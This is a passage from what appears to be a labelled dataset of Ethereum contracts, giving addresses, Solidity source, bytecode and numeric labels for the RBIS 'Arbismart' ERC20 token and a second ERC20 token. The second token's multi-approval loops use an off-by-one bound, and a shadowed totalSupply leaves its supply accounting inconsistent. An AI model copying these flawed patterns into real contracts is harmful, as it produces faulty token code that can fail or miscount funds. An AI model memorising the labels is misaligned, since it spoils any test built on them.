1c0826001600160a01b0316613403565b613211576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061324f5780518252601f199092019160209182019101613230565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146132b1576040519150601f19603f3d011682016040523d82523d6000602084013e6132b6565b606091505b50915091508161330d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156133665780806020019051602081101561332957600080fd5b50516133665760405162461bcd60e51b815260040180806020018281038252602a815260200180613440602a913960400191505060405180910390fd5b50505050565b600081848411156133fb5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133c05781810151838201526020016133a8565b50505050905090810190601f1680156133ed5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081811480159061343757508115155b94935050505056fe5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158204859859c6815340acb864c9379a83b4efc50d43a6751d7fcd5820be5598abc7f64736f6c63430005110032 | [
5
] |
0xf34b1db61aca1a371fe97bad2606c9f534fb9d7d | pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardBurnableToken.sol
/**
* @title Standard Burnable Token
* @dev Adds burnFrom method to ERC20 implementations
*/
contract StandardBurnableToken is BurnableToken, StandardToken {
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param _from address The address which you want to send tokens from
* @param _value uint256 The amount of token to be burned
*/
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
// File: contracts/Blcontr.sol
contract RBIS is StandardBurnableToken {
string public constant name = "Arbismart Token"; // solium-disable-line uppercase
string public constant symbol = "RBIS"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
address public constant tokenOwner = 0x3b337cCd685a9e6Ba2EdD0e87dF9A780EFF60133;
uint256 public constant INITIAL_SUPPLY = 450000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[tokenOwner] = INITIAL_SUPPLY;
emit Transfer(0x0, tokenOwner, INITIAL_SUPPLY);
}
} | 0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c85780632ff2e9dc146101f2578063313ce5671461020757806342966c6814610232578063661884631461024c57806370a082311461027057806379cc67901461029157806395d89b41146102b5578063a3e67610146102ca578063a9059cbb146102fb578063d73dd6231461031f578063dd62ed3e14610343575b600080fd5b3480156100eb57600080fd5b506100f461036a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a03600435166024356103a1565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b6610407565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a036004358116906024351660443561040d565b3480156101fe57600080fd5b506101b6610584565b34801561021357600080fd5b5061021c610594565b6040805160ff9092168252519081900360200190f35b34801561023e57600080fd5b5061024a600435610599565b005b34801561025857600080fd5b5061018d600160a060020a03600435166024356105a6565b34801561027c57600080fd5b506101b6600160a060020a0360043516610696565b34801561029d57600080fd5b5061024a600160a060020a03600435166024356106b1565b3480156102c157600080fd5b506100f4610747565b3480156102d657600080fd5b506102df61077e565b60408051600160a060020a039092168252519081900360200190f35b34801561030757600080fd5b5061018d600160a060020a0360043516602435610796565b34801561032b57600080fd5b5061018d600160a060020a0360043516602435610877565b34801561034f57600080fd5b506101b6600160a060020a0360043581169060243516610910565b60408051808201909152600f81527f41726269736d61727420546f6b656e0000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561042457600080fd5b600160a060020a03841660009081526020819052604090205482111561044957600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561047957600080fd5b600160a060020a0384166000908152602081905260409020546104a2908363ffffffff61093b16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104d7908363ffffffff61094d16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610519908363ffffffff61093b16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6b01743b34e18439b50200000081565b601281565b6105a33382610960565b50565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156105fb57336000908152600260209081526040808320600160a060020a0388168452909152812055610630565b61060b818463ffffffff61093b16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600160a060020a03821660009081526002602090815260408083203384529091529020548111156106e157600080fd5b600160a060020a0382166000908152600260209081526040808320338452909152902054610715908263ffffffff61093b16565b600160a060020a03831660009081526002602090815260408083203384529091529020556107438282610960565b5050565b60408051808201909152600481527f5242495300000000000000000000000000000000000000000000000000000000602082015281565b733b337ccd685a9e6ba2edd0e87df9a780eff6013381565b6000600160a060020a03831615156107ad57600080fd5b336000908152602081905260409020548211156107c957600080fd5b336000908152602081905260409020546107e9908363ffffffff61093b16565b3360009081526020819052604080822092909255600160a060020a0385168152205461081b908363ffffffff61094d16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546108ab908363ffffffff61094d16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561094757fe5b50900390565b8181018281101561095a57fe5b92915050565b600160a060020a03821660009081526020819052604090205481111561098557600080fd5b600160a060020a0382166000908152602081905260409020546109ae908263ffffffff61093b16565b600160a060020a0383166000908152602081905260409020556001546109da908263ffffffff61093b16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505600a165627a7a7230582056cdb9aa3375902cf9c93bf9586282f8f417fce1839f98628ebf825e109d56f70029 | [
38
] |
0xf34bC51888E168BaFccCE39E4beB39553Edea5F4 | /**
*Submitted for verification at Etherscan.io on 2018-08-09
*/
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract tokenRecipient {function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
/* Public variables of the token */
string public standard = 'ERC20';
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public owner;
mapping (address => mapping (address => uint256)) internal allowed;
function StandardToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balances[msg.sender] = initialSupply;
// Give the creator all initial tokens
totalSupply = initialSupply;
// Update total supply
name = tokenName;
// Set the name for display purposes
symbol = tokenSymbol;
// Set the symbol for display purposes
decimals = decimalUnits;
// Amount of decimals for display purposes
owner=msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function multiApprove(address[] _spender, uint256[] _value) public returns (bool){
require(_spender.length == _value.length);
for(uint i=0;i<=_spender.length;i++){
allowed[msg.sender][_spender[i]] = _value[i];
Approval(msg.sender, _spender[i], _value[i]);
}
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function multiIncreaseApproval(address[] _spender, uint[] _addedValue) public returns (bool) {
require(_spender.length == _addedValue.length);
for(uint i=0;i<=_spender.length;i++){
allowed[msg.sender][_spender[i]] = allowed[msg.sender][_spender[i]].add(_addedValue[i]);
Approval(msg.sender, _spender[i], allowed[msg.sender][_spender[i]]);
}
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function multiDecreaseApproval(address[] _spender, uint[] _subtractedValue) public returns (bool) {
require(_spender.length == _subtractedValue.length);
for(uint i=0;i<=_spender.length;i++){
uint oldValue = allowed[msg.sender][_spender[i]];
if (_subtractedValue[i] > oldValue) {
allowed[msg.sender][_spender[i]] = 0;
} else {
allowed[msg.sender][_spender[i]] = oldValue.sub(_subtractedValue[i]);
}
Approval(msg.sender, _spender[i], allowed[msg.sender][_spender[i]]);
}
return true;
}
/* Approve and then comunicate the approved contract in a single tx */
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
} | 0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063035f057d146100f657806306fdde03146101a8578063095ea7b31461023657806318160ddd1461029057806323b872dd146102b9578063313ce5671461033257806350e8587e146103615780635a3b7e421461041357806366188463146104a157806370a08231146104fb57806372a7b8ba146105485780638da5cb5b146105fa57806395d89b411461064f578063a9059cbb146106dd578063cae9ca5114610737578063d73dd623146107d4578063dd62ed3e1461082e575b600080fd5b341561010157600080fd5b61018e6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061089a565b604051808215151515815260200191505060405180910390f35b34156101b357600080fd5b6101bb610b37565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fb5780820151818401526020810190506101e0565b50505050905090810190601f1680156102285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024157600080fd5b610276600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bd5565b604051808215151515815260200191505060405180910390f35b341561029b57600080fd5b6102a3610cc7565b6040518082815260200191505060405180910390f35b34156102c457600080fd5b610318600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ccd565b604051808215151515815260200191505060405180910390f35b341561033d57600080fd5b610345611087565b604051808260ff1660ff16815260200191505060405180910390f35b341561036c57600080fd5b6103f96004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061109a565b604051808215151515815260200191505060405180910390f35b341561041e57600080fd5b610426611216565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561046657808201518184015260208101905061044b565b50505050905090810190601f1680156104935780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104ac57600080fd5b6104e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112b4565b604051808215151515815260200191505060405180910390f35b341561050657600080fd5b610532600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611545565b6040518082815260200191505060405180910390f35b341561055357600080fd5b6105e06004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061158d565b604051808215151515815260200191505060405180910390f35b341561060557600080fd5b61060d6118ee565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561065a57600080fd5b610662611914565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106a2578082015181840152602081019050610687565b50505050905090810190601f1680156106cf5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106e857600080fd5b61071d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119b2565b604051808215151515815260200191505060405180910390f35b341561074257600080fd5b6107ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611bd1565b604051808215151515815260200191505060405180910390f35b34156107df57600080fd5b610814600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611d4b565b604051808215151515815260200191505060405180910390f35b341561083957600080fd5b610884600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f47565b6040518082815260200191505060405180910390f35b600080825184511415156108ad57600080fd5b600090505b835181111515610b2c5761097983828151811015156108cd57fe5b90602001906020020151600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000878581518110151561092657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600086848151811015156109c857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508381815181101515610a1e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008886815181101515610ac557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a380806001019150506108b2565b600191505092915050565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bcd5780601f10610ba257610100808354040283529160200191610bcd565b820191906000526020600020905b815481529060010190602001808311610bb057829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d0a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5757600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de257600080fd5b610e33826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fce90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fec90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080825184511415156110ad57600080fd5b600090505b83518111151561120b5782818151811015156110ca57fe5b90602001906020020151600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868481518110151561112357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550838181518110151561117957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92585848151811015156111df57fe5b906020019060200201516040518082815260200191505060405180910390a380806001019150506110b2565b600191505092915050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112ac5780601f10611281576101008083540402835291602001916112ac565b820191906000526020600020905b81548152906001019060200180831161128f57829003601f168201915b505050505081565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156113c5576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611459565b6113d88382611fec90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffff